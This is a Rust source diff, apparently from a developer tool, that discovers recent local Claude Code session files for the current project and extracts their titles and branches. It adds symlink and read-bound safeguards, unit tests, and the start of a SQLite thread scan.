get_final_path_name_by_handle(
handle,
buffer.as_mut_ptr(),
u32::try_from(buffer.len()).unwrap_or(u32::MAX),
0,
)
};
if written == 0 || written as usize >= buffer.len() {
return None;
}
Some(PathBuf::from(OsString::from_wide(
&buffer[..written as usize],
)))
}
#[cfg(test)]
pub(super) fn same_file_for_test(expected: &File, opened: &File) -> bool {
same_open_file(expected, opened)
}
#[cfg(test)]
pub(super) fn final_path_matches_for_test(path: &Path, file: &File) -> bool {
final_handle_path_matches(path, file)
}
@@ -0,0 +1,497 @@
use std::collections::HashSet;
use std::io::{Read, Seek, SeekFrom};
use std::path::{Path, PathBuf};
use std::time::{Duration, SystemTime};
use serde_json::Value;
use super::{
ApprovedRoot, ForeignSessionSource, ForeignSessionSummary, ForeignSessionTool, MAX_SESSION_AGE,
MAX_SESSIONS_PER_TOOL, RecentCandidate, RecentProbe, approved_root_for_recent,
finish_tool_scan, is_within, normalize_title, retain_top_k_by,
};
mod projects;
const READ_CHUNK: usize = 64 * 1024;
const MAX_HEAD: usize = 4 * 1024 * 1024;
const MAX_CONTENT_READS: usize = 128;
const MAX_RECENT_CONTENT_READS: usize = 16;
const MAX_RECENT_DIRECTORY_ENTRIES: usize = 64;
struct Candidate {
root: ApprovedRoot,
path: PathBuf,
session_id: String,
modified: SystemTime,
size: u64,
}
pub(super) fn scan(cwd: &Path, now: SystemTime) -> Vec<ForeignSessionSummary> {
let Some(config_dir) = std::env::var_os("CLAUDE_CONFIG_DIR")
.map(PathBuf::from)
.or_else(|| dirs::home_dir().map(|home| home.join(".claude")))
else {
return Vec::new();
};
scan_in_config_dir(&config_dir, cwd, now)
}
pub(super) fn most_recent(
cwd: &Path,
now: SystemTime,
within: Duration,
) -> RecentProbe<RecentCandidate> {
let Some(config_dir) = std::env::var_os("CLAUDE_CONFIG_DIR")
.map(PathBuf::from)
.or_else(|| dirs::home_dir().map(|home| home.join(".claude")))
else {
return RecentProbe::Complete(None);
};
most_recent_in_config_dir(&config_dir, cwd, now, within)
}
fn scan_in_config_dir(
config_dir: &Path,
cwd: &Path,
now: SystemTime,
) -> Vec<ForeignSessionSummary> {
let Some(root) = ApprovedRoot::new(config_dir) else {
return Vec::new();
};
let project_dirs = projects::scoped_project_dirs(root.path(), cwd);
scan_project_dirs(&root, &project_dirs, cwd, now)
}
fn most_recent_in_config_dir(
config_dir: &Path,
cwd: &Path,
now: SystemTime,
within: Duration,
) -> RecentProbe<RecentCandidate> {
let root = match approved_root_for_recent(config_dir) {
Ok(Some(root)) => root,
Ok(None) => return RecentProbe::Complete(None),
Err(()) => return RecentProbe::Incomplete,
};
let Some(project_dir) = projects::project_dir_path(root.path(), cwd) else {
return RecentProbe::Complete(None);
};
match std::fs::symlink_metadata(&project_dir) {
Err(error) if error.kind() == std::io::ErrorKind::NotFound => {
return RecentProbe::Complete(None);
}
Err(_) => return RecentProbe::Incomplete,
Ok(metadata) if project_directory_is_safe(&metadata) => {}
Ok(_) => return RecentProbe::Incomplete,
}
#[cfg(unix)]
let collected = root
.subroot(&project_dir)
.and_then(|project_root| collect_recent_candidates(&project_root, now, within));
#[cfg(windows)]
let collected = collect_recent_candidates_windows(&root, &project_dir, now, within);
#[cfg(not(any(unix, windows)))]
let collected = None;
let Some((candidates, truncated)) = collected else {
return RecentProbe::Incomplete;
};
finish_recent_candidates(candidates, truncated, cwd)
}
fn finish_recent_candidates(
candidates: Vec<Candidate>,
truncated: bool,
cwd: &Path,
) -> RecentProbe<RecentCandidate> {
let candidate = candidates.into_iter().find_map(|candidate| {
qualify_candidate(&candidate, cwd)?;
Some(RecentCandidate {
tool: ForeignSessionTool::Claude,
source: ForeignSessionSource::ClaudeCode,
native_id: candidate.session_id,
updated_at: candidate.modified,
})
});
if candidate.is_none() && truncated {
RecentProbe::Incomplete
} else {
RecentProbe::Complete(candidate)
}
}
fn project_directory_is_safe(metadata: &std::fs::Metadata) -> bool {
if !metadata.is_dir() || metadata.file_type().is_symlink() {
return false;
}
#[cfg(windows)]
{
use std::os::windows::fs::MetadataExt as _;
const FILE_ATTRIBUTE_REPARSE_POINT: u32 = 0x400;
if metadata.file_attributes() & FILE_ATTRIBUTE_REPARSE_POINT != 0 {
return false;
}
}
true
}
fn collect_recent_candidates(
project_root: &ApprovedRoot,
now: SystemTime,
within: Duration,
) -> Option<(Vec<Candidate>, bool)> {
let mut candidates = Vec::with_capacity(MAX_RECENT_CONTENT_READS);
let mut qualifying = 0;
let outcome = project_root.for_each_entry_bounded(MAX_RECENT_DIRECTORY_ENTRIES, |name| {
let path = project_root.join(&name);
let Some(session_id) = path
.file_name()
.and_then(|name| name.to_str())
.and_then(|name| name.strip_suffix(".jsonl"))
.filter(|id| uuid::Uuid::try_parse(id).is_ok())
else {
return;
};
let Some((path, metadata)) = project_root.resolve_regular_file(&path) else {
return;
};
if metadata.len() == 0 {
return;
}
let Ok(modified) = metadata.modified() else {
return;
};
if is_within(modified, now, within) {
qualifying += 1;
retain_top_k_by(
&mut candidates,
Candidate {
root: project_root.clone(),
path,
session_id: session_id.to_owned(),
modified,
size: metadata.len(),
},
MAX_RECENT_CONTENT_READS,
candidate_order,
);
}
});
outcome
.complete
.then_some((candidates, qualifying > MAX_RECENT_CONTENT_READS))
}
#[cfg(windows)]
fn collect_recent_candidates_windows(
config_root: &ApprovedRoot,
project_dir: &Path,
now: SystemTime,
within: Duration,
) -> Option<(Vec<Candidate>, bool)> {
let canonical_project = dunce::canonicalize(project_dir).ok()?;
if canonical_project.as_path() != project_dir
|| !canonical_project.starts_with(config_root.path())
{
return None;
}
let project_root = ApprovedRoot::new(&canonical_project)?;
if project_root.path() != canonical_project.as_path() {
return None;
}
let mut entries = std::fs::read_dir(&canonical_project).ok()?;
let mut candidates = Vec::with_capacity(MAX_RECENT_CONTENT_READS);
let mut qualifying = 0;
for _ in 0..MAX_RECENT_DIRECTORY_ENTRIES {
let Some(entry) = entries.next() else {
return Some((candidates, qualifying > MAX_RECENT_CONTENT_READS));
};
let entry = entry.ok()?;
let path = entry.path();
let Some(session_id) = path
.file_name()
.and_then(|name| name.to_str())
.and_then(|name| name.strip_suffix(".jsonl"))
.filter(|id| uuid::Uuid::try_parse(id).is_ok())
else {
continue;
};
let opened = project_root.open_regular_file(&path)?;
if opened.metadata.len() == 0 {
continue;
}
let modified = opened.metadata.modified().ok()?;
if is_within(modified, now, within) {
qualifying += 1;
retain_top_k_by(
&mut candidates,
Candidate {
root: project_root.clone(),
path: opened.path,
session_id: session_id.to_owned(),
modified,
size: opened.metadata.len(),
},
MAX_RECENT_CONTENT_READS,
candidate_order,
);
}
}
match entries.next() {
None => Some((candidates, qualifying > MAX_RECENT_CONTENT_READS)),
Some(_) => None,
}
}
fn scan_project_dirs(
root: &ApprovedRoot,
project_dirs: &[PathBuf],
cwd: &Path,
now: SystemTime,
) -> Vec<ForeignSessionSummary> {
let candidates =
collect_candidates(root, project_dirs, now, MAX_SESSION_AGE, MAX_CONTENT_READS);
let mut accepted_ids = HashSet::new();
let mut sessions = Vec::new();
for candidate in candidates {
if accepted_ids.contains(&candidate.session_id) {
continue;
}
let Some(session) = read_candidate(candidate, cwd) else {
continue;
};
accepted_ids.insert(session.native_id.clone());
sessions.push(session);
if sessions.len() == MAX_SESSIONS_PER_TOOL {
break;
}
}
finish_tool_scan(sessions)
}
fn collect_candidates(
root: &ApprovedRoot,
project_dirs: &[PathBuf],
now: SystemTime,
within: Duration,
limit: usize,
) -> Vec<Candidate> {
let mut candidates = Vec::with_capacity(limit);
for project_dir in project_dirs.iter().take(projects::MAX_PROJECT_DIRS) {
let Some(project_root) = root.subroot(project_dir) else {
continue;
};
let mut project_candidates = Vec::with_capacity(limit);
// Enumerate every direct entry in these already-scoped directories so
// filesystem order cannot decide which sessions receive the read budget.
let complete = project_root.for_each_entry(|name| {
let path = project_root.join(&name);
let Some(session_id) = path
.file_name()
.and_then(|name| name.to_str())
.and_then(|name| name.strip_suffix(".jsonl"))
.filter(|id| uuid::Uuid::try_parse(id).is_ok())
else {
return;
};
let Some((path, metadata)) = project_root.resolve_regular_file(&path) else {
return;
};
if !metadata.is_file() || metadata.len() == 0 {
return;
}
let Ok(modified) = metadata.modified() else {
return;
};
if !is_within(modified, now, within) {
return;
}
retain_top_k_by(
&mut project_candidates,
Candidate {
root: project_root.clone(),
path,
session_id: session_id.to_owned(),
modified,
size: metadata.len(),
},
limit,
candidate_order,
);
});
if !complete {
continue;
}
for candidate in project_candidates {
retain_top_k_by(&mut candidates, candidate, limit, candidate_order);
}
}
candidates
}
fn candidate_order(a: &Candidate, b: &Candidate) -> std::cmp::Ordering {
b.modified
.cmp(&a.modified)
.then_with(|| a.session_id.cmp(&b.session_id))
.then_with(|| a.path.cmp(&b.path))
}
fn read_candidate(candidate: Candidate, requested_cwd: &Path) -> Option<ForeignSessionSummary> {
let (head, stored_cwd) = qualify_candidate(&candidate, requested_cwd)?;
let tail = read_tail(&candidate.root, &candidate.path, candidate.size)?;
let first_prompt = first_prompt(&head);
let title = [
last_string(&tail, "customTitle").or_else(|| last_string(&head, "customTitle")),
last_string(&tail, "aiTitle").or_else(|| last_string(&head, "aiTitle")),
last_string(&tail, "lastPrompt").or_else(|| last_string(&head, "lastPrompt")),
last_string(&tail, "summary").or_else(|| last_string(&head, "summary")),
first_prompt,
]
.into_iter()
.flatten()
.find_map(|value| normalize_title(&value))?;
let branch = last_string(&tail, "gitBranch")
.or_else(|| last_string(&head, "gitBranch"))
.and_then(|value| normalize_title(&value));
Some(ForeignSessionSummary {
tool: ForeignSessionTool::Claude,
source: ForeignSessionSource::ClaudeCode,
native_id: candidate.session_id,
title,
cwd: PathBuf::from(stored_cwd),
updated_at: candidate.modified,
branch,
})
}
fn qualify_candidate(candidate: &Candidate, requested_cwd: &Path) -> Option<(String, String)> {
let (head, stored_cwd) = read_head_for_cwd(&candidate.root, &candidate.path, candidate.size)?;
let first_line = head.lines().next().unwrap_or(&head);
if first_line.contains("\"isSidechain\":true") || first_line.contains("\"isSidechain\": true") {
return None;
}
let stored_cwd = stored_cwd?;
if Path::new(&stored_cwd) != requested_cwd {
return None;
}
Some((head, stored_cwd))
}
fn read_head_for_cwd(
root: &ApprovedRoot,
path: &Path,
size: u64,
) -> Option<(String, Option<String>)> {
let max = usize::try_from(size.min(MAX_HEAD as u64)).ok()?;
let mut limit = READ_CHUNK.min(max);
loop {
let head = read_prefix(root, path, limit)?;
let cwd = first_string(&head, "cwd");
if cwd.is_some() || limit >= max {
return Some((head, cwd));
}
limit = limit.saturating_mul(4).min(max);
}
}
fn read_prefix(root: &ApprovedRoot, path: &Path, limit: usize) -> Option<String> {
let file = root.open_regular_file(path)?.file;
let mut bytes = Vec::with_capacity(limit);
file.take(limit as u64).read_to_end(&mut bytes).ok()?;
Some(String::from_utf8_lossy(&bytes).into_owned())
}
fn read_tail(root: &ApprovedRoot, path: &Path, size: u64) -> Option<String> {
let len = size.min(READ_CHUNK as u64);
let mut file = root.open_regular_file(path)?.file;
file.seek(SeekFrom::Start(size.saturating_sub(len))).ok()?;
let mut bytes = Vec::with_capacity(len as usize);
file.take(len).read_to_end(&mut bytes).ok()?;
Some(String::from_utf8_lossy(&bytes).into_owned())
}
fn first_string(text: &str, key: &str) -> Option<String> {
text.lines().find_map(|line| string_field(line, key))
}
fn last_string(text: &str, key: &str) -> Option<String> {
text.lines().rev().find_map(|line| string_field(line, key))
}
fn string_field(line: &str, key: &str) -> Option<String> {
let value: Value = serde_json::from_str(line).ok()?;
value.get(key)?.as_str().map(str::to_owned)
}
fn first_prompt(head: &str) -> Option<String> {
let mut command_fallback = None;
for line in head.lines() {
if line.contains("\"tool_result\"") {
continue;
}
let Ok(entry) = serde_json::from_str::<Value>(line) else {
continue;
};
if entry.get("type").and_then(Value::as_str) != Some("user")
|| entry.get("isMeta").and_then(Value::as_bool) == Some(true)
|| entry.get("isCompactSummary").and_then(Value::as_bool) == Some(true)
{
continue;
}
let Some(content) = entry.pointer("/message/content") else {
continue;
};
let texts = match content {
Value::String(text) => vec![text.as_str()],
Value::Array(blocks) => blocks
.iter()
.filter(|block| block.get("type").and_then(Value::as_str) == Some("text"))
.filter_map(|block| block.get("text").and_then(Value::as_str))
.collect(),
_ => Vec::new(),
};
for text in texts {
let normalized = text.split_whitespace().collect::<Vec<_>>().join(" ");
if normalized.is_empty() {
continue;
}
if let Some(command) = between(&normalized, "<command-name>", "</command-name>") {
command_fallback.get_or_insert_with(|| command.to_owned());
continue;
}
if let Some(command) = between(&normalized, "<bash-input>", "</bash-input>") {
return normalize_title(&format!("! {}", command.trim()));
}
if is_generated_prompt(&normalized) {
continue;
}
return normalize_title(&normalized);
}
}
command_fallback.and_then(|value| normalize_title(&value))
}
fn between<'a>(value: &'a str, start: &str, end: &str) -> Option<&'a str> {
let start = value.find(start)? + start.len();
let end = value[start..].find(end)? + start;
Some(&value[start..end])
}
fn is_generated_prompt(value: &str) -> bool {
if value.starts_with("[Request interrupted by user") {
return true;
}
let value = value.trim_start();
value
.strip_prefix('<')
.and_then(|rest| rest.chars().next())
.is_some_and(|first| first.is_ascii_lowercase())
}
#[cfg(all(test, unix))]
mod tests;
#[cfg(all(test, windows))]
mod windows_tests;
@@ -0,0 +1,55 @@
use std::collections::HashSet;
use std::path::{Path, PathBuf};
pub(super) const MAX_PROJECT_DIRS: usize = 16;
pub(super) const MAX_SANITIZED_LENGTH: usize = 200;
pub(super) fn scoped_project_dirs(config_dir: &Path, cwd: &Path) -> Vec<PathBuf> {
let mut paths = vec![cwd.to_path_buf()];
if let Ok(repository) = git2::Repository::discover(cwd) {
if let Some(workdir) = repository.workdir() {
paths.push(dunce::canonicalize(workdir).unwrap_or_else(|_| workdir.to_path_buf()));
if repository.path() != repository.commondir()
&& let Some(main_workdir) = repository.commondir().parent()
{
paths.push(
dunce::canonicalize(main_workdir)
.unwrap_or_else(|_| main_workdir.to_path_buf()),
);
}
}
if let Ok(worktrees) = repository.worktrees() {
for name in worktrees.iter().flatten().flatten().take(MAX_PROJECT_DIRS) {
if let Ok(worktree) = repository.find_worktree(name) {
let path = worktree.path();
paths.push(dunce::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()));
}
}
}
}
let mut seen = HashSet::new();
paths
.into_iter()
.filter(|path| seen.insert(path.clone()))
.take(MAX_PROJECT_DIRS)
.filter_map(|path| project_dir_for_path(config_dir, &path))
.collect()
}
pub(super) fn project_dir_for_path(config_dir: &Path, path: &Path) -> Option<PathBuf> {
let project_dir = project_dir_path(config_dir, path)?;
let metadata = std::fs::symlink_metadata(&project_dir).ok()?;
(metadata.is_dir() && !metadata.file_type().is_symlink()).then_some(project_dir)
}
pub(super) fn project_dir_path(config_dir: &Path, path: &Path) -> Option<PathBuf> {
let sanitized = path
.to_string_lossy()
.chars()
.map(|ch| if ch.is_ascii_alphanumeric() { ch } else { '-' })
.collect::<String>();
if sanitized.len() > MAX_SANITIZED_LENGTH {
return None;
}
Some(config_dir.join("projects").join(sanitized))
}
@@ -0,0 +1,411 @@
use std::fs;
use std::path::{Path, PathBuf};
use std::time::{Duration, SystemTime, UNIX_EPOCH};
use filetime::FileTime;
use serde_json::json;
use tempfile::TempDir;
use super::*;
use crate::foreign_sessions::{MAX_SESSION_AGE, canonical_tempdir};
fn set_mtime(path: &Path, time: SystemTime) {
filetime::set_file_mtime(path, FileTime::from_system_time(time)).unwrap();
}
fn write_session(
project: &Path,
id: uuid::Uuid,
lines: &[serde_json::Value],
modified: SystemTime,
) {
fs::create_dir_all(project).unwrap();
let path = project.join(format!("{id}.jsonl"));
let contents = lines
.iter()
.map(serde_json::Value::to_string)
.collect::<Vec<_>>()
.join("\n");
fs::write(&path, format!("{contents}\n")).unwrap();
set_mtime(&path, modified);
}
fn user(cwd: &Path, prompt: &str) -> serde_json::Value {
json!({
"type": "user",
"cwd": cwd,
"message": {"role": "user", "content": prompt}
})
}
fn scoped_project(root: &Path, cwd: &Path) -> std::path::PathBuf {
let name = cwd
.to_string_lossy()
.chars()
.map(|ch| if ch.is_ascii_alphanumeric() { ch } else { '-' })
.collect::<String>();
let path = root.join("projects").join(name);
fs::create_dir_all(&path).unwrap();
path
}
#[test]
fn recent_probe_skips_sidechains_and_wrong_cwds_before_winner() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let project = scoped_project(root.path(), &cwd);
let now = UNIX_EPOCH + Duration::from_secs(3_000_000);
write_session(
&project,
uuid::Uuid::from_u128(10),
&[json!({
"type": "user",
"cwd": cwd,
"isSidechain": true,
"message": {"content": "sidechain"}
})],
now,
);
write_session(
&project,
uuid::Uuid::from_u128(11),
&[user(Path::new("/other"), "wrong cwd")],
now - Duration::from_secs(1),
);
let winner = uuid::Uuid::from_u128(12);
write_session(
&project,
winner,
&[user(&cwd, "winner")],
now - Duration::from_secs(2),
);
let found =
most_recent_in_config_dir(root.path(), &cwd, now, Duration::from_secs(600)).unwrap();
assert_eq!(found.native_id, winner.to_string());
assert_eq!(found.source, ForeignSessionSource::ClaudeCode);
}
#[test]
fn recent_probe_bounds_content_reads() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let project = scoped_project(root.path(), &cwd);
let now = UNIX_EPOCH + Duration::from_secs(3_100_000);
for i in 0..MAX_RECENT_CONTENT_READS {
write_session(
&project,
uuid::Uuid::from_u128(100 + i as u128),
&[user(Path::new("/other"), "wrong cwd")],
now - Duration::from_secs(i as u64),
);
}
write_session(
&project,
uuid::Uuid::from_u128(999),
&[user(&cwd, "outside read budget")],
now - Duration::from_secs(MAX_RECENT_CONTENT_READS as u64),
);
assert_eq!(
most_recent_in_config_dir(root.path(), &cwd, now, Duration::from_secs(600)),
RecentProbe::Incomplete,
);
}
#[test]
fn recent_probe_fails_closed_at_directory_entry_cap() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let project = scoped_project(root.path(), &cwd);
let now = UNIX_EPOCH + Duration::from_secs(3_200_000);
write_session(
&project,
uuid::Uuid::from_u128(1_500),
&[user(&cwd, "must not win after incomplete discovery")],
now,
);
for index in 0..MAX_RECENT_DIRECTORY_ENTRIES {
fs::write(project.join(format!("junk-{index:03}")), "").unwrap();
}
assert_eq!(
most_recent_in_config_dir(root.path(), &cwd, now, Duration::from_secs(600)),
RecentProbe::Incomplete,
);
}
#[test]
fn filters_bad_rows_and_uses_newest_duplicate_with_title_precedence() {
let (_tempdir, root) = canonical_tempdir();
let cwd = root.join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(4_000_000);
let projects = root.join("projects");
let duplicate = uuid::Uuid::from_u128(1);
write_session(
&projects.join("old"),
duplicate,
&[
user(&cwd, "first prompt"),
json!({"type": "custom-title", "customTitle": "old title"}),
],
now - Duration::from_secs(20),
);
write_session(
&projects.join("new"),
duplicate,
&[
user(&cwd, "first prompt"),
json!({"summary": "summary"}),
json!({"lastPrompt": "last prompt"}),
json!({"aiTitle": "ai title"}),
json!({"customTitle": "custom title", "gitBranch": "feature"}),
],
now - Duration::from_secs(10),
);
write_session(
&projects.join("unreadable-newest"),
duplicate,
&[user(Path::new("/other"), "newest wrong cwd")],
now,
);
write_session(
&projects.join("sidechain"),
uuid::Uuid::from_u128(2),
&[json!({
"type": "user",
"cwd": cwd.display().to_string(),
"isSidechain": true,
"message": {"content": "hidden"}
})],
now,
);
write_session(
&projects.join("no-title"),
uuid::Uuid::from_u128(3),
&[json!({"type": "system", "cwd": cwd.display().to_string()})],
now,
);
write_session(
&projects.join("wrong-cwd"),
uuid::Uuid::from_u128(4),
&[user(Path::new("/other"), "wrong")],
now,
);
write_session(
&projects.join("stale"),
uuid::Uuid::from_u128(5),
&[user(&cwd, "stale")],
now - MAX_SESSION_AGE - Duration::from_secs(1),
);
let zero_dir = projects.join("zero");
fs::create_dir_all(&zero_dir).unwrap();
fs::write(
zero_dir.join(format!("{}.jsonl", uuid::Uuid::from_u128(6))),
"",
)
.unwrap();
fs::create_dir_all(projects.join("nested").join("subagents")).unwrap();
fs::write(
projects
.join("nested")
.join("subagents")
.join(format!("{}.jsonl", uuid::Uuid::from_u128(7))),
user(&cwd, "nested").to_string(),
)
.unwrap();
let project_dirs = fs::read_dir(&projects)
.unwrap()
.flatten()
.filter(|entry| entry.file_type().is_ok_and(|kind| kind.is_dir()))
.map(|entry| entry.path())
.collect::<Vec<_>>();
let approved_root = ApprovedRoot::new(&root).unwrap();
let sessions = scan_project_dirs(&approved_root, &project_dirs, &cwd, now);
assert_eq!(sessions.len(), 1);
assert_eq!(sessions[0].native_id, duplicate.to_string());
assert_eq!(sessions[0].title, "custom title");
assert_eq!(sessions[0].branch.as_deref(), Some("feature"));
}
#[test]
fn bounds_results_and_orders_ties_by_id() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(5_000_000);
let project = scoped_project(root.path(), &cwd);
for i in 1..=55_u128 {
write_session(
&project,
uuid::Uuid::from_u128(i),
&[user(&cwd, &format!("prompt {i}"))],
now - Duration::from_secs((i / 2) as u64),
);
}
let sessions = scan_in_config_dir(root.path(), &cwd, now);
assert_eq!(sessions.len(), MAX_SESSIONS_PER_TOOL);
assert!(
sessions
.windows(2)
.all(|pair| pair[0].updated_at > pair[1].updated_at
|| (pair[0].updated_at == pair[1].updated_at
&& pair[0].native_id < pair[1].native_id))
);
}
#[test]
fn skips_meta_and_tool_noise_for_first_prompt() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(6_000_000);
write_session(
&scoped_project(root.path(), &cwd),
uuid::Uuid::from_u128(100),
&[
json!({
"type": "user",
"cwd": cwd.display().to_string(),
"isMeta": true,
"message": {"content": "meta"}
}),
json!({
"type": "user",
"message": {"content": [{"type": "tool_result", "content": "noise"}]}
}),
json!({
"type": "user",
"message": {"content": "<command-name>review</command-name>"}
}),
json!({
"type": "user",
"message": {"content": "real prompt"}
}),
],
now,
);
let sessions = scan_in_config_dir(root.path(), &cwd, now);
assert_eq!(sessions[0].title, "real prompt");
}
#[test]
fn scoped_scan_keeps_newest_over_budget_and_rejects_symlinks() {
let root = TempDir::new().unwrap();
let cwd = root.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(7_000_000);
let project = scoped_project(root.path(), &cwd);
for i in 0..520_u128 {
write_session(
&project,
uuid::Uuid::from_u128(1_000 + i),
&[user(Path::new("/other"), "wrong cwd")],
now - Duration::from_secs(i as u64 + 1),
);
}
let valid = uuid::Uuid::from_u128(2_000);
write_session(
&project,
valid,
&[user(&cwd, "valid after invalid rows")],
now,
);
write_session(
&project,
uuid::Uuid::from_u128(2_003),
&[user(&cwd, "arbitrary future mtime")],
now + Duration::from_secs(24 * 60 * 60),
);
write_session(
&root.path().join("projects").join("unrelated"),
uuid::Uuid::from_u128(2_001),
&[user(&cwd, "must not scan unrelated project")],
now,
);
#[cfg(unix)]
{
let outside = root.path().join("outside.jsonl");
fs::write(&outside, user(&cwd, "symlink escape").to_string()).unwrap();
std::os::unix::fs::symlink(
outside,
project.join(format!("{}.jsonl", uuid::Uuid::from_u128(2_002))),
)
.unwrap();
}
let sessions = scan_in_config_dir(root.path(), &cwd, now);
assert_eq!(sessions.len(), 1);
assert_eq!(sessions[0].native_id, valid.to_string());
assert_eq!(sessions[0].title, "valid after invalid rows");
let long = PathBuf::from(format!(
"/{}",
"a".repeat(projects::MAX_SANITIZED_LENGTH + 1)
));
assert_eq!(projects::project_dir_for_path(root.path(), &long), None);
}
#[cfg(unix)]
#[test]
fn rejects_project_parent_symlink_escape() {
let config = TempDir::new().unwrap();
let outside = TempDir::new().unwrap();
let cwd = config.path().join("repo");
fs::create_dir_all(&cwd).unwrap();
let now = UNIX_EPOCH + Duration::from_secs(7_500_000);
let project = scoped_project(outside.path(), &cwd);
write_session(
&project,
uuid::Uuid::from_u128(2_100),
&[user(&cwd, "outside parent")],
now,
);
std::os::unix::fs::symlink(
outside.path().join("projects"),
config.path().join("projects"),
)
.unwrap();
assert!(scan_in_config_dir(config.path(), &cwd, now).is_empty());
}
#[test]
fn linked_worktree_scope_includes_main_and_siblings() {
let root = TempDir::new().unwrap();
let main = root.path().join("main");
fs::create_dir_all(&main).unwrap();
let repository = git2::Repository::init(&main).unwrap();
let signature = git2::Signature::now("test", "test@example.com").unwrap();
let tree = {
let mut index = repository.index().unwrap();
let oid = index.write_tree().unwrap();
repository.find_tree(oid).unwrap()
};
repository
.commit(Some("HEAD"), &signature, &signature, "init", &tree, &[])
.unwrap();
drop(tree);
let linked = root.path().join("linked");
let sibling = root.path().join("sibling");
repository.worktree("linked", &linked, None).unwrap();
repository.worktree("sibling", &sibling, None).unwrap();
let main_project = scoped_project(root.path(), &dunce::canonicalize(&main).unwrap());
let linked_project = scoped_project(root.path(), &dunce::canonicalize(&linked).unwrap());
let sibling_project = scoped_project(root.path(), &dunce::canonicalize(&sibling).unwrap());
let project_dirs =
projects::scoped_project_dirs(root.path(), &dunce::canonicalize(&linked).unwrap());
assert!(project_dirs.contains(&main_project));
assert!(project_dirs.contains(&linked_project));
assert!(project_dirs.contains(&sibling_project));
}
@@ -0,0 +1,121 @@
use std::fs;
use std::path::{Path, PathBuf};
use std::time::{Duration, SystemTime};
use filetime::FileTime;
use serde_json::json;
use tempfile::TempDir;
use super::*;
struct Fixture {
_root: TempDir,
config: PathBuf,
cwd: PathBuf,
project: PathBuf,
}
fn fixture() -> Fixture {
let root = TempDir::new().unwrap();
let config = root.path().join("config");
let cwd = root.path().join("repo");
fs::create_dir_all(&config).unwrap();
fs::create_dir_all(&cwd).unwrap();
let config = dunce::canonicalize(config).unwrap();
let cwd = dunce::canonicalize(cwd).unwrap();
let project = projects::project_dir_path(&config, &cwd).unwrap();
Fixture {
_root: root,
config,
cwd,
project,
}
}
fn write_session(project: &Path, cwd: &Path, id: uuid::Uuid, modified: SystemTime) {
fs::create_dir_all(project).unwrap();
let path = project.join(format!("{id}.jsonl"));
fs::write(
&path,
format!(
"{}\n",
json!({
"type": "user",
"cwd": cwd,
"message": {"role": "user", "content": "recent work"},
})
),
)
.unwrap();
filetime::set_file_mtime(&path, FileTime::from_system_time(modified)).unwrap();
}
#[test]
fn recent_probe_finds_valid_session() {
let fixture = fixture();
let now = SystemTime::now();
let id = uuid::Uuid::from_u128(1);
write_session(&fixture.project, &fixture.cwd, id, now);
assert_eq!(
most_recent_in_config_dir(&fixture.config, &fixture.cwd, now, Duration::from_secs(600),)
.unwrap()
.native_id,
id.to_string(),
);
}
#[test]
fn recent_probe_missing_project_is_complete_empty() {
let fixture = fixture();
assert_eq!(
most_recent_in_config_dir(
&fixture.config,
&fixture.cwd,
SystemTime::now(),
Duration::from_secs(600),
),
RecentProbe::Complete(None),
);
}
#[test]
fn recent_probe_directory_limit_is_incomplete() {
let fixture = fixture();
let now = SystemTime::now();
write_session(
&fixture.project,
&fixture.cwd,
uuid::Uuid::from_u128(2),
now,
);
for index in 0..MAX_RECENT_DIRECTORY_ENTRIES {
fs::write(fixture.project.join(format!("junk-{index:03}")), "").unwrap();
}
assert_eq!(
most_recent_in_config_dir(&fixture.config, &fixture.cwd, now, Duration::from_secs(600),),
RecentProbe::Incomplete,
);
}
#[test]
fn recent_probe_rejects_reparse_project_directory_when_supported() {
let fixture = fixture();
let outside = fixture._root.path().join("outside-project");
fs::create_dir_all(&outside).unwrap();
fs::create_dir_all(fixture.project.parent().unwrap()).unwrap();
if std::os::windows::fs::symlink_dir(&outside, &fixture.project).is_err() {
return;
}
assert_eq!(
most_recent_in_config_dir(
&fixture.config,
&fixture.cwd,
SystemTime::now(),
Duration::from_secs(600),
),
RecentProbe::Incomplete,
);
}
@@ -0,0 +1,291 @@
use std::collections::HashSet;
use std::path::Path;
use std::time::{Duration, SystemTime};
use rusqlite::{Connection, params};
use super::super::{
ApprovedRoot, ForeignSessionSummary, ForeignSessionTool, MAX_SESSION_AGE,
MAX_SESSIONS_PER_TOOL, RecentCandidate, is_within, millis_bounds, normalize_title,
open_sqlite_transaction, system_time_from_millis,
};
use super::{existing_rollout_path, source_from_persisted, title};
const MAX_DB_CANDIDATES: usize = 200;
pub(super) const MAX_RECENT_DB_CANDIDATES: usize = 8;
const MIN_EPOCH_MILLIS: i64 = 1_577_836_800_000;
const MAX_ID_BYTES: usize = 64;
const MAX_PATH_BYTES: usize = 16 * 1024;
const MAX_TEXT_BYTES: usize = 64 * 1024;
const MAX_BRANCH_BYTES: usize = 4 * 1024;
struct DbCandidate {
id: String,
rollout_path: String,
updated_at: i64,
source: String,
stored_cwd: String,
title: String,
first_user_message: String,
branch: Option<String>,
}
pub(super) enum RecentDatabaseResult {
Unusable,
Incomplete,
Usable(Option<RecentCandidate>),
}
pub(super) fn scan_database(
root: &ApprovedRoot,
db_path: &Path,
cwd: &Path,
now: SystemTime,
) -> Option<Vec<ForeignSessionSummary>> {
let bounds = millis_bounds(now, MAX_SESSION_AGE)?;
let cwd_string = cwd.to_str()?.to_owned();
if cwd_string.len() > MAX_PATH_BYTES {
return None;
}
let database = open_sqlite_transaction(root, db_path)?;
let columns = table_columns(&database, "threads")?;
let sql = scan_sql(&columns)?;
let rows = query_candidates(&database, &sql, &cwd_string, bounds)?;
let mut sessions = Vec::new();
for row in rows {
let Some(candidate) =
qualify_candidate(root, cwd, now, MAX_SESSION_AGE, &row, source_from_persisted)
else {
continue;
};
let Some(title) = title(&row.title, &row.first_user_message) else {
continue;
};
